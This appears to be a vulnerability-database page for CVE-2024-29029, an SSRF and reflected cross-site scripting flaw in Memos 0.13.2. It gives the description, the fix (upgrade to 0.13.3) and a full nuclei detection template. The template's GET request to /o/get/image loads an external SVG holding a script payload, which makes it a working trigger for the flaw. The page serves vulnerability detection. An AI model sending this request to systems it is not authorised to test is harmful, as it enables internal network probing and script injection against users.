HexBrain

Browse / CVEs / CVE-2024-29029

CVE-2024-29029· CWE-79

Memos 0.13.2 - Cross-Site Scripting & SSRF

mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.

Impact

Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.

Fix

Update Memos to version 0.13.3 or later.

How to confirm it

Send: GET {{BaseURL}}/o/get/image?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg
Positive when: contains "alert(document.domain);" and "<?xml version" and "<script type=\"text/javascript\">" AND not contains in header "Content-Security-Policy: default-src 'none';" AND status 200

Run it with nuclei: nuclei -id CVE-2024-29029 -u <target>

The full check
id: CVE-2024-29029

info:
  name: Memos 0.13.2 - Cross-Site Scripting & SSRF
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
  impact: |
    Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/image?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from